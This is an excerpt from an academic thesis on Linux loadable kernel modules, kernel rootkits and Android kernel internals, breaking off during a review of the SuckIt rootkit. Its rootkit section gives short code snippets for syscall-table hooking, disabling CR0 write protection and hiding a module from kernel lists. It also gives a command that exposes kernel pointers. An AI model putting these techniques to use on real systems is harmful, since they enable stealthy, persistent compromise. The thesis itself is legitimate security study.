  • 28. 2. Linux Kernel 20 AppArmor This system uses a path based MAC scheme which is designed to be simple to manage, like the TOMOYO system. AppArmor also features a learning mode to automatically create a security profile of an application. This system is shipped with Ubuntu and OpenSUSE. 2.2.5 Kernel Capabilities Another security feature in the Linux kernel are kernel capabilities to offer a more granular set of privileges than root or not root. This POSIX capabilities are implemented as a four sets of bitmaps appended to the task_struct. This feature is not restricted to processes, but it is also used to reduce the risk caused by files setUID flag. So there are basically four sets of bitmap which manage the different capabilities [34]. effective: capabilities currently in use permitted: granted capabilities inheritable: capabilities inherited to child processes bset: capability bounding set Each set consists of a list of bits. Each bit represents a certain system capa- bility. If, for example, bit 26 is set a process can modify the systems clock [34]. 2.3 Loadable Kernel Modules Now that we have a rough overview on the overall kernel design and its subsystems we can start looking into the heart of the thesis - Linux Kernel Modules. As mentioned before, Linux has a monolithic kernel which includes everything needed to run in a single kernel image, but if we need some additional features it’s not practical to reconfigure, build and run a new kernel every time. This is the task of a kernel module, which is a piece of code that can be loaded and unloaded to extend the kernels functionalities during runtime. The module is a piece of compiled C code just like everything else in the kernel, but the implementation has to follow some predefined patterns. Lets take a look at a minimalistic hello world code example in listing 2.5.
  • 29. 2. Linux Kernel 21 Listing 2.5: Hello World LKM 1 #include <linux/module.h> // Needed for the modules macros. 2 #include <linux/kernel.h> // KERN_INFO is defined here 3 4 static int __init module_start(void) 5 { 6 // Prints to the info stream in the kernel log at /proc/kmsg. 7 printk(KERN_INFO "Hello World!"); 8 return 0; // Indicate successful loading. 9 } 10 11 12 static void __exit module_stop(void) 13 { 14 printk(KERN_INFO "Bye World!"); 15 } 16 17 // Define init and exit function names. 18 module_init(module_start); 19 module_exit(module_stop); 20 21 // Add some infos to be displayed when using lsmod. 22 MODULE_LICENSE("GPL"); 23 MODULE_AUTHOR("Marcel Breitenfellner"); 24 MODULE_DESCRIPTION("BA1 - Hello World"); 2.3.1 Structure A basic LKM only consists of two functions which are called when the module is loaded and unloaded. These two functions are registered as the modules entry and exit point within the kernel through the function calls module_init and module_exit(). Actually these aren’t real function calls, but macros that define the (de-)initialization function for this module [59]. There are also a few useful macros that provide general information about our kernel module. A few self explanatory examples are: • MODULE_DESCRIPTION() • MODULE_AUTHOR() • MODULE_VERSION() • MODULE_LICENSE() If none or a non-GPL compatible license is used the kernel is be marked as tainted until the next reboot, as the kernel modules code is not open source and therefore can not be verified. This state shows up in all error logs and bug reports. In this state the kernel module may have not access to all kernel core functions and data structures [15].
  • 30. 2. Linux Kernel 22 2.3.2 Building There are two different ways of building our kernel module. We can either directly integrate our module source code into the Linux kernel source tree or let it reside in a dedicated directory outside the source tree [59]. Integrating to the Source Tree If we are for example implementing a driver for a new device and plan to share our code with the community this is our way to go. First we have to locate the right directory for our module source code. Drivers are stored in the drivers/ directory of the source tree, which contains several subdirec- tories for different device classes like drivers/usb or drivers/block. Once the right class is found, we create a new directory for our modules source code. Then we add obj-m += yourmodule/ to the parent directories make- file [15, 59]. The kbuild system invokes the modules makefile when it needs to be built. Dedicated Directory But we can also create our module outside the Linux source tree. Therefore we need to create a new directory and set up our makefile (see listing) 2.6. Listing 2.6: Create Makefile (1) 1 obj-m := module_name.o 2 fishing-objs := module_main.o module_feature.o The source files module_main.c and module_feature.c are compiled into module_name.ko when the command shown in listing 2.7 is executed. Listing 2.7: Create Makefile (2) 1 make -C /path/of/the/kernels/source SUBDIRS=$PWD modules We will also take a more detailed look into building module when discussing the sample implementation of a LKM in section 5.4.1.
  • 31. 2. Linux Kernel 23 2.3.3 Managing To load and manage the kernel module we have a few different commands on most Linux based systems. insmod This is the simplest way to load a module into a running kernel. What it does is basically just ask the kernel via the init_module system call to load the specified binary executable and linking format (ELF) image into the kernel, link all needed symbols and call its defined init function. Before loading, the kernel checks if the module was built for the current running version of the kernel by comparing the value of the vermagic, which contains the buildstring of the target kernel and some target CPU information. This method doesn’t perform any dependency checks (if the module needs other modules to be loaded beforehand) or advanced error checking [59]. To load a module named module.ko we need to execute the following command shown in listing 2.8 with root permissions. Listing 2.8: Load Kernel Module 1 insmod module.ko rmmod This is the simplest way of removing a kernel module again. Therefore this command only performs a delete_module system call which matches the module by its unique name, calls its exit function and finally unloads the module from the kernel. Using this command to unload the previously loaded kernel module we need to execute the following command shown in listing 2.9 with root permissions. Listing 2.9: Unload Kernel Module 1 rmmod module modprobe This is a more intelligent way to manage kernel modules which is also rec- ommended to use. When loading a module, all modules our module depends on are also be loaded into the kernel. Parameters can also be passed when loading the module. This tool can also unload a module and its dependencies as long as the usage count is zero [59]. To load a module called module.ko we need to execute the following com- mand shown in listing 2.10 with root permissions.
  • 32. 2. Linux Kernel 24 Listing 2.10: Load Kernel Module 1 modprobe module.ko To unload a module called module.ko we need to execute the following com- mand shown in listing 2.11 with root permissions. Listing 2.11: Unload Kernel Module 1 modprobe -r module.ko modinfo In section 2.3.1 we looked into all the available macros when implementing a kernel module. With this command we can make use of the entered infor- mation to get some basic information about the selected kernel module as we can see in the example output below. To get the detailed information of module.ko just enter the command shown in listing 2.12. Listing 2.12: Get Detail Informations 1 modinfo module.ko If we print the detail information provided by our later implemented rootkit module we would see the output shown in listing 2.13. Listing 2.13: Example Kernel Module Detail Information 1 filename: ~/BA1/PRO/dev/kernel/module_proc/module.ko 2 description: BA1 Android LKM sample implementation. 3 author: Marcel Breitenfellner 4 license: GPL 5 srcversion: BE690CC13DF17BE156EC820 6 depends: 7 vermagic: 3.4.0-gadb2201 SMP preempt mod_unload ARMv7
  • 33. 2. Linux Kernel 25 lsmod The last important command, when handling kernel modules, is used for displaying which modules are currently loaded into the kernel. To retrieve this list just enter lsmod which prints a list or obtain the information directly from the kernel through the /proc file system (see section 2.5.3) by executing the command cat /proc/modules directly in the shell. The exact output may vary between different Linux distributions, but in listing 2.14 we can see an example output from an Android device. Listing 2.14: Show Loaded Kernel Modules on Nexus 5 1 root@hammerhead:/ # lsmod 2 module 13846 0 - Live 0xbf000000 (O) The output contains the following information: module the name of the module 13846 memory size of the module in bytes 0 how many instances of the module are currently loaded, zero means unloaded - if the module depends on any other module it’s shown here Live the current status of the kernel module, possible values are Live, Loading and Unloading 0xbf000000 the memory offset of the module When executing lsmod the sixth column may only show 0x00000000 as the memory offset the loaded module. This is a security mechanism to hide kernel pointers from user space. If we want to disable this security feature just execute the command shown in listing 2.15 with root permissions. Listing 2.15: Show Loaded Kernel Modules 1 echo 0 > /proc/sys/kernel/kptr_restrict 2.4 Kernel Rootkits A rootkit in general is a piece of malicious software, which hides its pres- ence while having root access to the system. Once infected the rootkit can spy on the machines activities, load additional malicious code and modify everything. The rootkit can live in user space or in kernel space [54, 73]. A user space rootkit modifies binaries like ls or ps to hide its presence from the user. But from the kernel they are pretty easy to detect and even to remove [73].
  • 34. 2. Linux Kernel 26 We will be looking into kernel space rootkits. Because this type of rootkit lives in kernel space it is pretty hard to detect and even harder to remove successfully. After it has managed to infect the system it usually loads its code into the kernel through a LKM (see section 2.3). Another option to modify the kernel and place a kernel rootkit is to directly modify it by ac- cessing the /dev/mem or the /dev/kmem devices, which grant direct memory access. Once loaded into the kernel there are different ways to modify the system, all of them have the target to hide its presence, load and hide other malicious software. There is no chance of detecting the kernel rootkit from user space, if implemented well [73]. 2.4.1 Kernel Modification Techniques Once the rootkit kernel module was loaded into the kernel, it has several ways of modifying to achieve its goals. Hook System Calls As we discussed in section 2.1.1 the SCT is a list of pointers to functions which are called when a system call is invoked from user space. As the only way of communicating between user space and kernel space is through the SCI, the SCT is a very effective way to go. The only challenge here is to find the address of the SCT as it is only exported as a kernel symbol until kernel version 2.4. Possible ways of finding the right address would be through the interrupt descriptor table (IDT) or the /proc/kallsyms file. The disadvantage of this method is, that a rootkit can be easily detected, because the address of the system call has obviously changed [54, 73]. Lets look at an example code snippet (see listing 2.16) of a kernel module which enables to exchange a pointer from the SCT with a custom function. In line three there is the method header of the sys_chmod function which is hooked and assigned later. When the module is loaded the __init function is called and the SCT is loaded from memory. In this example we already looked up the sys_call_table pointer from the System.map file, which contains the memory allocation of all predefined kernel symbols at compile time. In line 14 the pointer of the sys_chmod function is exchanged with our hooked_syscall_chmod and finally the original value is stored in the default_sys_chmod variable. When the module is unloaded the changes are undone, again with the xch function.
  • 35. 2. Linux Kernel 27 Listing 2.16: Hook System Calls 1 unsigned long *sys_call_table; 2 3 asmlinkage long (*default_sys_chmod)(const char __user *filename, umode_t mode); 4 5 asmlinkage long hooked_syscall_chmod(char* path, umode_t permission){ 6 // Do something bad. 7 return -1; 8 } 9 10 static int __init module_init(void) 11 { 12 *(long*) &sys_call_table = 0xc0106e64; 13 14 default_sys_chmod = (void*)xchg(&sys_call_table[__NR_chmod], hooked_syscall_chmod); 15 16 return 0; 17 } 18 19 static void __exit module_exit(void) 20 xchg(&sys_call_table[__NR_chmod], default_sys_chmod); 21 } Actually the SCT is stored in a read only memory page since Linux kernel version 2.6 [11]. To address this problem we have to write directly into the CPU control register. Thanks to Jürgen Quade for the code snippet shown in listing 2.17 which demonstrates how to disable the memory write protection during runtime [72]. Listing 2.17: Disable Write Protection [72] 1 void disable_write_protection_cr0(void) 2 { 3 unsigned long value; 4 5 asm volatile("mov %%cr0,%0":"=r" (value)); 6 if(value & 0x00010000) 7 { 8 value &= ~0x00010000; 9 asm volatile("mov %0,%%cr0"::"r" (value)); 10 } 11 }
  • 36. 2. Linux Kernel 28 Modifying Kernel Objects A different way to hide for example a kernel modules existence without modifying the SCT, is to directly modify internally used objects called kernel objects. These kernel objects have to be modified very carefully, because they are needed for the system to work properly. The difficulty here is to find the right list of kernel objects which holds all the loaded LKMs. Usually doubly linked lists are used here. We have to take care of two different lists where our to be hidden kernel module is listed. The first one is looked up when the ls command in user space is called, so we modify the output of /proc/module. In line two of the following code snippet in listing 2.18 we can see how the kernel object is removed from the list. The second list, which needs to be modified in the kernel. is responsible for the /sys/module and is treated in line three [11]. Listing 2.18: Hide Module 1 int module_init(void) { 2 list_del_init(&__this_module.list); 3 kobject_del(&THIS_MODULE->mkobj.kobj); 4 5 return 0; 6 } The two functions list_del_init and kobject_del basically just remove the kernel object from a passed doubly linked list. In a doubly linked list every node has a prev and a next pointer which point to the previous and the next object in the list. What the delete function does is to let our previous object point to our next object and vice versa. So the module isn’t referenced by any kernel object anymore but is still alive in the memory. When the lists are traversed for showing its contents, the module can’t be found anymore and it looks like the module isn’t loaded. This method can also be rather easily applied to hide processes from the task_struct and is pretty hard to detect, because these kernel objects aren’t directly referenced anymore and have to be located in a different way to detect the modification [73]. Hook Kernel Jump-Tables Another harder to detect approach of hooking functions is through various jump tables in the kernel. The difficulty here is also to find them in the memory and also to write to them [73]. Needless to say that there are already various methods of exploiting [19, 52].
  • 37. 2. Linux Kernel 29 Patch Kernel Code The chance of a rootkit to be detected when changing a system call pointer in the SCT or any other kernel jump table is high [73]. So this approach doesn’t change the pointer itself, but the code in the genuine system call method. This is achieved by modifying the first bytes of a system call method which inserts a jump to the hooking function [19]. This method of changing a system calls behaviour is rather hard to detect and therefore a good way to go [73]. 2.4.2 Defense Unfortunately there aren’t many defense methods against kernel rootkits. Once an intruder gains root access to the machine he can usually just insert a kernel rootkit without any major problems. But there are two defense options worth mentioning. Disable Kernel Module Support Most kernel level rootkits are LKMs. A very effective way to prevent these rootkits from being loaded into the kernel, is to disable the kernel module support when configuring the kernel. In order to do so we need to add CONFIG_MODULES=n to the .config file before compiling a new kernel. With this kernel configuration we aren’t able to load modules into the kernel, so all needed drivers have to be compiled directly into to kernel and may increase the size and memory usage. For example the Linux kernel which runs on Android devices has disabled module support to prevent this type of malicious software. Disable Direct Memory Access It is also possible to modify the kernel through the /dev/mem and /dev/kmem devices. For example the SuckIT rootkit used this method (see section 4.1) We could disable or remove them, but some rather important software relies on them. For example the X or any rootkit detector software which needs direct memory access requires this interface.
  • 38. 2. Linux Kernel 30 2.5 Additional Concepts We have now gained a rough overview about what the kernel is and how it works. We will take a sneak peak into another few basic concepts which are relevant for the implementation part later on. 2.5.1 Process A process is an active program which actually executes code. But beside that a process may also need file or network access. Managing this and assigning a virtual memory region to the process is the kernels responsibility. This running program can also have multiple execution threads. In the Linux kernel implementation isn’t a big difference between processes and threads. The kernels scheduling system is responsible to split all the memory and processing time in a fair way to all running processes [59]. Internally the kernel holds a doubly linked list of task_struct structures which contains all necessary information about the process. This structure is rather big, because the kernel needs to store a lot of information about the running process. On 32-bit system it’s about 1.7kB in size. This includes, beside the name and PID, also the assigned virtual memory regions and processor information, permissions, owner, parent process, process signals, opened files and ports and much more. All running processes are aligned in a tree. Every process has a parent and maybe siblings, except PID 1 which is the initial init process which is started after the boot process. To obtain detailed information about all running processes the kernel creates a virtual directory in the /proc filesystem for each process which contains miscellaneous information [59]. 2.5.2 Filesystems The Linux kernel features an innovative approach to provide an open and abstract interface for different files systems. This kernel subsystem is called VFS and offers an interface for file access across all supported file systems. This system defines a set of actions which should be supported by any file system and offers them through the SCI to user space applications. Sup- ported actions are for example open(), read() or write() [15].
  • 39. 2. Linux Kernel 31 write() sys_write() filesystem write function User Space VFS Filesystem Physical Media Figure 2.10: Function Call Trace for a write() Call [15] As we can see in figure 2.10 a write() call in user space is relayed to the sys_write() function in the kernel to the implementation of the file system. This file system implementation also takes care of the type of the underlying physical media [15]. The VFS knows a few different types of objects: superblock: Represents a specific mounted filesystem [59]. inode: Represents a specific file [59]. dentry: Represents a directory entry [59]. file: Represents an opened file [59]. For our later implementation the file object is of special interest, because it features a set of functions like read() or write() and also readdir() (see listing 2.19). Listing 2.19: Function Prototype 1 |int (*readdir) (struct file *, void *, filldir_t); With the help of this and the passed filldir function it is possible to hide files from the file system, more details on this in section 5. 2.5.3 Types There is a huge number of different file systems. But they can be categorized in different groups. Disk-based filesystems This type of filesystems is used to store and manage data on hard disks and similar systems like flash drives. In table 2.5 we can see a small snipped of available filesystems and operating systems which they originated from [15].
  • 40. 2. Linux Kernel 32 Name Original Operating System ext2 Linux ext3 Linux ext4 Linux hfs Apple OS X hfs+ Apple OS X sysv UNIX minix MINIX vfat Microsoft Windows ntfs Microsoft Windows Table 2.5: Disk-based Filesystems [15] Network filesystems These type of filesystems allow to access files which are stored on other computers in the network [15]. For example NFS, AFS or CIFS are supported network file system by the VFS. Special filesystems This third category covers filesystems which doesn’t fit in any of the men- tioned categories. The most important one for this thesis is the /proc system which provides an interface to the actual state of some kernel data struc- tures. As mentioned in section 2.5.1 this filesystem contains a list of all running processes with some detail informations such as memory status, ac- quired ports or files. Additionally we can also modify the kernels behavior by writing to special files in the /proc system [15, 59]. For example we could activate IPv4 forwarding by writing to the right file as we can see in listing 2.20. Listing 2.20: Activate Packet Forwarding 1 echo 1 > /proc/sys/net/ipv4/ip_forward 2.5.4 Networking To user space the only possible way to know which ports are currently opened in the transport layer is through the matching subfiles of /proc/net/ (e.g. proc/net/tcp4 for TCP connections over (most likely) IPv4). These files are so called sequence files where one row of a file describes one opened connection. Sequence files have four basic functions [1, 27, 79]:
  • 41. 2. Linux Kernel 33 • start(): Initialize the file. • stop(): Close the file. • next(): Show the next entry of the file. • show(): Fill the file buffer with data. On the kernel side the tcp4_seq_show is responsible for this buffer filling task. So in order to let opened network connections disappear from user space view, we need to hook this particular function [79]. 2.6 Futex Exploit This vulnerability was discovered by comex (and later verified as CVE-2014- 3153) in May 2014 and effects most Linux kernel versions until 3.14.5. The hacker geohot extended this exploit by escalating the privileges to root. He used this exploit in his Android rooting toolkit TowelRoot, which allows easy one-click-rooting of Android devices until version 4.4.2. He obfuscated his implementation of the exploit, but there are also different implementations of the same scenario [32]. In order to use this exploit to gain root access to a kernel there are typically two seperate bugs involved. In simple words we can say that there is a list in the kernel that hold all tasks, which wait for a priority inheritance futex. As the call is usually blocking anyway, this list element is held in the kernel stack which is dangerous, because if the function exits without removing the element there is a null reference. With a special combination of kernel calls the previously mentioned behaviour can be triggered, which leads to a NULL reference from the previous list element. A few more tricks are used to allocate the memory region of the disposed element again and bring its content under control. Finally the manipulation of this waiting list leads to a situation where the exploit can write anywhere in memory, which means the credentials of a process can be set to 0. This elevates the processes permissions to root [32, 93–95].
  • 42. Chapter 3 Android Characteristics When the mobile operating system Android was developed the Linux kernel was chosen to be the core of the system due to its proven driver model, good process- and memory management and the variety of existing drivers [21, 61]. Because the operating system targets mobile devices, some changes had to be made to the Linux kernel in order to improve the performance and battery life (see section 3.4) [16]. In addition to that the development team created their own C library and Java runtime to resolve licensing conflicts and optimize the system for the limited resources available on mobile device platforms [61]. In table 3.1 we can get a rough overview about which Linux kernel versions were used in the major Android releases [29]. Android Version Codename Linux Kernel Version 1.0 (no code name) 2.6.25 1.1 (no code name) 2.6.26 1.5 Cupcake 2.6.27 1.6 Donut 2.6.29 2.0 Eclair 2.6.29 2.2 Froyo 2.6.32 2.3 Gingerbread 2.6.35 3.0 Honeycomb 2.6.36 4.0 Ice Cream Sandwich 3.0.1 4.1 Jelly Bean 3.0.31 4.4 KitKat 3.10 5.0 Lollipop 3.16.1 6.0 Marshmallow 3.18.10 Table 3.1: Linux Kernel Versions vs. Android Releases [7, 8, 35–41, 89] 34
  • 43. 3. Android Characteristics 35 3.1 Android Open Source Project Big parts of the Android system originate from open source projects (like the Linux kernel), which require to stay open source when used in a published project (GPL). The Android operating system consists of two main parts, a platform (KitKat, Lollipop,..) and the modified Linux kernel. Google hosts a set of git repositories (https://source.android.com) which contain the source code of the platform, the kernel, the native development kit (NDK) and the Android SDK. With the published source code OEMs are able to adapt the system to their new devices and the community is able to modify the system to their needs and provide updates for devices long after they reached their official end of life. 3.2 Bionic On most Linux distributions the glibc (GNU C library) is used to provide all library routines. Some developers think that its memory footprint is too big, that’s why Android uses a different implementation - the Bionic [61, 87]. The main focus of this project was to have fast execution paths, avoid edge cases, keep the memory footprint small and remain a simple structure [61]. The library also has to be rather small because it is loaded into memory for each process (~200kB Bionic vs. ~400kB glibc). Bionic has built in support for all Android specific features, but does not fully comply to all POSIX defined features like C++ exceptions or wide chars. All native code, which should run on an Android device, has to be compiled against Bionic and not glibc [21]. 3.3 Virtual Machines User applications in Android aren’t delivered as native binaries. At compile time the Java source files (*.java) are compiled into *.class files and then further translated into *.dex (Dalvik EXecutable) files, which contain the byte code that is needed to execute the program on the device. Originally there was the DVM, which compiled the *.dex files just before they needed to be executed into native machine code (just in time (JIT)), but nowadays the Android Runtime (ART) assumes this part. In order to save memory the *.dex file format uses mechanisms like constant pools, which store all constant values used within a class. This can result in significant memory savings as shown in table 3.2. The garbage collector also has to take care of the shared pools and keep track of all the references to not free any memory too early, this is implemented by using marking bits [30].
  • 44. 3. Android Characteristics 36 Application Uncompressed JAR [bytes] Compressed JAR [bytes] Uncompressed DEX [bytes] Web Browser 470,312 (100%) 232,065 (49%) 209,248 (44%) Alarm Clock 119,200 (100%) 61,658 (52%) 53,020 (44%) Table 3.2: Constant Pool Memory Savings [30] 3.3.1 Dalvik Virtual Machine Until Android 5.0 the DVM was responsible to run the applications in the *.dex format on the devices. In order to do so the virtual machine uses a JIT compiler, which compiles the needed sources during runtime into native code. This has the advantage of a rather low overall CPU load while de- livering platform independent code because only the currently needed parts are compiled, but result in a constant higher memory usage of ~100kB per process caused by the JIT compiler. Unlike the common Java Virtual Ma- chine (JVM), which uses a stack based architecture, the JIT uses a register based architecture. Nowadays this is obsolete due to the increased computing power of modern smart phones (see 3.3.2) [10, 14, 77]. 3.3.2 Android Runtime In June 2014 with Android 4.4.4 the ART was introduced as a tech-demo, which could be enabled on every device through the developer menu. Only a few months later in November 2014 with Android 5.0 the ART replaced the DVM per default. The most significant internal change is that the JIT mechanism was replaced with an ahead in time (AOT) compiler. This means the complete application is compiled once, usually at install time, into native code. The obvious advantage is that there is no extra CPU load necessary at runtime to execute an application because everything is pre-compiled when installing the application. One downside is that there can’t be any on-the-fly optimizations of the code, because the code was already compiled [60].
  • 45. 3. Android Characteristics 37 3.4 Unique Android Kernel Features Over time Google engineers constantly improved and modified the Linux kernel, some changes have made it into the mainline of the Linux kernel. So the set of changes between the Linux main source tree and the Android kernel source tree is not extremely large with 249 patches or 25.000 lines of code with kernel version 2.6.23 (2011). Those kernel patches target kernel bugs discovered when developing Android, add new hardware support, im- prove the power management on mobile devices, add some advanced error reporting and improve the overall system security and performance [6, 81]. 3.4.1 Android Shared Memory With ashmem a virtual memory region can be allocated by calling the pro- vided function ashmem_create_region() in order to share it between dif- ferent processes. If a physical piece of memory is needed, e.g. for hardware reasons, pmem (see section 3.4.3) is the way to go. The returned file de- scriptor now needs to be shared with the second process in order to gain access to the just allocated memory region. To do so we can’t simply share the pointer of the memory region because every process has its own virtual address space nor is it possible to create a new memory region with the same name as used at the first allocation. The common way to go is to share the file descriptor through the Binder mechanism to finally allow the second process to gain access this specific virtual memory region [6, 83]. Corresponding files in the kernel source tree: • $KSRC_ROOT/mm/ashmem.c 3.4.2 Binder The Binder is an extension to the existing inter-process communication (IPC) mechanisms in Linux. In the first beta releases of Android the Open- Binder by Be Inc. implementation was used, but in order to resolve licensing conflicts the Binder was completely rewritten by Google. This library pro- vides bindings of functions and data between different processes. There were already several systems in the Linux kernel which target this problem. Some examples are: [2, 46, 77]: • Signal • Pipe • Socket • Semaphore • Message Queue • Shared Memory
  • 46. 3. Android Characteristics 38 The Binder improves this already existing IPC mechanisms by avoiding copies of the memory which needs to be shared by directly copying the writ- ten memory in the readers ring buffer. It also increases the lifespan of user space objects, which can be shared and passed between different processes, while the Binder library keeps track of all the references to the different ob- jects [82]. The Binder also contains some rather useful features like one- or two-way binding, which allows uni- or bidirectional communication between processes, weak references, which allow to keep track of another objects life- time without increasing their reference count or the link to death facility, which notifies a process when an observed object or process goes away [43]. Corresponding files in the kernel source tree: • $KSRC_ROOT/drivers/staging/android/binder.c • $KSRC_ROOT/drivers/staging/android/binder.h 3.4.3 Process Memory Allocator pmem is another custom driver which allocates memory, but in contrast to ashmem, which allocates virtual memory regions, the pmem allocates phys- ical memory regions usually between 1MB and 16MB in size. The allocated memory can be shared between user- and kernel space drivers. pmem re- quires the allocator to hold the file descriptor, generated while allocating the memory region, on the heap as long as there are references to the mem- ory region [6, 29]. Corresponding files in the kernel source tree: • $KSRC_ROOT/drivers/misc/pmem.c • $KSRC_ROOT/drivers/misc/uid_stat.c • $KSRC_ROOT/include/linux/android_pmem.h 3.4.4 Logger This is the kernel part of the integrated logcat logging mechanism. This system provides four different logging buffers: main: (user-)application log radio: radio and phone related log event: system event log system: system information log
  • 47. 3. Android Characteristics 39 In figure 3.1 we can see how logcat is connected to the kernel logging sys- tem and user space logger. Usually an application calls the provided library method android.util.log with a priority level (VERB, DEBUG, INFO, WARN or ERROR) which is then passed through the liblog to the kernel implementation of the logger. The different log types are now available as device files at: • /dev/log/main • /dev/log/radio • /dev/log/event • /dev/log/system It’s also possible to read the logs directly through logcat or via adbd over a remote connection (USB, TCP) [2, 6, 29]. Java Program android.util.logNative Program liblog com.android.internal. osAndroidPrintStream logcat adbd main radioevent system /dev/log/ Kernel Space User Space System.out.err Device stdout stdout/stderr Host adb Server adb logcat Eclipse Figure 3.1: Android Logging System Architecture [29] Corresponding files in the kernel source tree: • $KSRC_ROOT/drivers/staging/android/logger.c • $KSRC_ROOT/drivers/staging/android/logger.h
  • 48. 3. Android Characteristics 40 3.4.5 Wakelocks This added feature is used to prevent the system from entering sleep states to keep the system responsive and the delays low, e.g. when the screen is switched on or the user is currently typing. Wakelocks can be created from user- or kernel space [2, 6]. Corresponding files in the kernel source tree: • $KSRC_ROOT/include/linux/wakelock.h • $KSRC_ROOT/kernel/power/userwakelock.c • $KSRC_ROOT/kernel/power/wakelock.c 3.4.6 Out of Memory Handling Nomen est omen. This kernel module is initialized by the init.rc with default rules for the memory threshold, which define when a process is killed if a memory shortage occurs. In user space processes can refine those rules by adjusting the oom_adj value to extend a processes lifespan if needed. But as soon as these boundaries are about to be exceeded, the module kills processes until enough memory pages are free again. Caches are generally considered to be free until they’re not locked [2, 6]. Corresponding files in the kernel source tree: • $KSRC_ROOT/drivers/misc/lowmemorykiller.c • $KSRC_ROOT/security/lowmem.c 3.4.7 Alarm Timers Alarm Timers are used to tell the kernel from user space when it wants to be woken up again. The kernel takes care about the sleep state in the mean time and schedules a wakelock at the appropriate time. Corresponding files in the kernel source tree: • $KSRC_ROOT/drivers/rtc/alarm.c • $KSRC_ROOT/include/linux/android_alarm.h
  • 49. 3. Android Characteristics 41 3.4.8 Paranoid Networking On Android every installed application has its dedicated UID and GID for security reasons. There are also groups for different permissions on the sys- tem as we can see in table 3.3. If an application is about to be launched, the zygote process spawns its process and set the correct UID and GID. On the kernel side, the paranoid networking extensions checks the GID of the calling process if it tries to access some restricted functionality (like networking); if the access is granted it proceeds execution [2, 6, 29]. AID / Name GID Capability AID_NET_BT_ADMIN 3001 Create Bluetooth sockets, diagnosis and manage connections AID_NET_BT 3002 Create SCO, RFCOMM or L2CAP Bluetooth sockets AID_INET 3003 Create AF_INET(6) sockets AID_NET_RAW 3004 Create RAW and PACKET sockets AID_NET_ADMIN 3005 CAP_NET_ADMIN capability, di- rect network interface access, manip- ulate routing tables and sockets Table 3.3: Networking Capability Groups [29] Corresponding files in the kernel source tree: • $KSRC_ROOT/include/linux/android_aid.h 3.4.9 Timed Output This modification provides an interface to user space where the general pur- pose input/outputs (GPIOs) can be set and reset after a given timeout which is used to control the vibrator code [2, 6]. Corresponding files in the kernel source tree: • $KSRC_ROOT/drivers/staging/android/timed_gpio.c • $KSRC_ROOT/drivers/staging/android/timed_gpio.h • $KSRC_ROOT/drivers/staging/android/timed_output.c • $KSRC_ROOT/drivers/staging/android/timed_output.h
  • 50. 3. Android Characteristics 42 3.4.10 RAM Console This allows to store the kernel log (printk) to the RAM, so it can be viewed after the next reboot, when a kernel panic occurred, in /proc/last_kmsg/ [2, 6]. Corresponding files in the kernel source tree: • $KSRC_ROOT/drivers/staging/android/ram_console.c 3.4.11 Other Changes There is also a bunch of other small changes in the kernel [2, 6]: Goldfish: Virtual CPU used in the Android Emulator. YAFFS2: This was an open source flash memory file system which was used by Android until version 2.2 (Froyo). It wasn’t part of the standard Linux kernel, so Google added it to Android. Bluetooth: Fixed some Bluetooth headset bugs and added Bluetooth de- bugging and access control functions. Scheduler: Slight changes were made here to improve the process scheduler and timing. Android Debug Bridge (ADB): Is a protocol which connects to a de- veloper machine through USB or TCP/IP and allows to control the device for development purposes.
  • 51. Chapter 4 Related Work In this chapter we will discuss other papers and releases that inspired and helped me while working on this topic. There is a lot of information about Linux kernel rootkits, but when it comes to Android specific kernel rootkits there isn’t that much work available, especially because Android restricts loading Linux kernel modules by default. We will take a look at two Linux kernel rootkits as well as two papers targeting Android kernel level rootkits in detail. For each project we will show up how their unique features were implemented. 4.1 SuckIt The SUperuser Control KIT is worth mentioning because it uses a rather different approach of infecting the system and is able to run on kernels even without LKM support or the System.map file. There isn’t much malware active which uses this way of infection so this is remarkable. The original source code was published for the i386 platform in Phrack article in 2001 by sd and devik. The infection is done via the /dev/kmem file, which needs root permissions to be read from and written to, but allows direct access to the systems memory. This rootkit won’t touch the original SCT, but copies it into a different memory location and exchanges a few (25) system calls with modified versions. The key is to change the SCT pointer in the interrupt table of the CPU to the new memory location. If a user space process invokes a system call with the software interrupt 0x80, the compromised pointer to the modified SCT is used to determine which modified system call is executed. The complete process of infecting the system is achieved only by using system calls and direct memory access (DMA), but it does not rely on the internal kernel data structure, which allows the rootkit to stay portable and compatible to different kernel versions [20, 58, 74]. 43
  • 52. 4. Related Work 44 4.1.1 Features • Password protected reverse shell initiated by a spoofed packet to by- pass most firewalls. • The server side (rootkit itself) can run only using system calls, without the need of glibc or anything else. • No changes in the file system. • Full remote environment tty support, including windows size. • Hide processes. • Hide files. • Hide open ports. 4.1.2 Difficulties The SuckIt rootkit was pretty much the first of its kind and of course there were and still are difficulties in developing rootkits which are independent from LKM support. We will now take a look at the key features that make this type of rootkit possible. Accessing the System Call Table The first difference to the common approach is the memory access. In a typi- cal kernel module implementation it is possible to access the kernel memory region directly, but that’s not possible from user space. As described in section 2.4 the /dev/kmem device enables, given sufficient permissions, to directly read from and write to the system memory, including the kernel memory space [20]. Some Linux systems provide a System.map file, which contains a list of all generated kernel symbols at compile time with the corresponding memory addresses, which could be directly accessed via the kmem file, but not every system provides this file. The same information could be obtained through the /proc/ksyms file, but the returned memory addresses are usually hidden for security reasons [23]. So we have access to the whole memory but no idea how to locate the needed data segments in the memory. What we know is that all system calls are stored in a well documented and downward compatible list of pointers somewhere in memory, which is called when a 0x80 software interrupt occurs. So the SuckIt rootkit uses the IDT, which is held in a CPU register (IDTR) to obtain the memory address of the SCT as we can see in the short example in listing 4.1, the full version can be viewed in the original article [20, 23].
